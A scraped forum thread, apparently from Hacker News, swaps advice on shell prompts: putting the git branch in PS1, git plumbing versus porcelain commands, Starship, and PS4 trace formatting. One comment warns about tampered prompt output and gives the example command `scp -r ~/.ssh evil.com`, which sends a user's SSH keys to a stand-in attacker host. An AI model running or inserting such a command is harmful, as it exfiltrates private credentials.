$(git branch | grep ^* | colrm 1 2)
You could use $(git branch --show-current)
but if the head is detached it won't show anything101–110 of 146 posts
$(git branch | grep ^* | colrm 1 2)
You could use $(git branch --show-current)
but if the head is detached it won't show anythingEarlier quoted context omitted.
why?
If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
Earlier quoted context omitted.
You might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.
I’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.
Internally, symbolic-ref resolve the ref in the same way as git branch, just without handling detached HEAD. __git_ps1 use a combination of rev-parse, symbolic-ref and git describe to provide a more interesting output for displaying state of the working directory.
To have the similar output for detached HEAD as git-status (e.g. "HEAD detached at fa0c4e1") then probably `git rev-parse --abbrev-rev` and `git rev-parse --short` should be used together. Unfortunately, while rev-parse can print multiple output in a single command, abbrev-rev and short cannot be used together. In such case, parsing `git status` might indeed be more suitable as it spawn only one executable instead of two.
Some porcelain commands do have --porcelain flag to ensure the stability of the interface, though (e.g. `git status --porcelain=v1`).
Earlier quoted context omitted.
It's too bloated. It has all kinds of built-in stuff with ugly defaults instead of just providing a framework with plugins.
Starship is the only prompt I've used that has (a) sane defaults, (b) cross platform support as well as ease of installation, and (c) good enough speed. Powerline is much slower, and I lose my serenity everytime I have to fiddle with dotfiles.
~/bin via v1.8.0 via v2.7.16 on (us-east-2) [1]
even on non-project folders and have no idea why that is being listed.
[1] emojis got lost in hn, but it was a coffee cup, a snake and a cloud..
Somewhat related to PS1 is PS4 in bash. Make your trace output more useful/verbose in your scripts: set -x export PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}: ' This will print the filename, function name, line number, and line content during execution.
In case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.
Was expecting this: ________________ | |," `.| | SgH | / SONY \ | |O _\ /> /_ | ___ _ |_(_)'.____.'(_)_| (")__(") [___|[=]__[=]|___] // \\
Earlier quoted context omitted.
Absolutely a quality of life tool. Very few excuses left to put up with zsh + Oh-My-Zash.
I mean, the other alternative is just keep your prompt simple. ;-)
Seeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the…
Seeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the…
Side by side: >>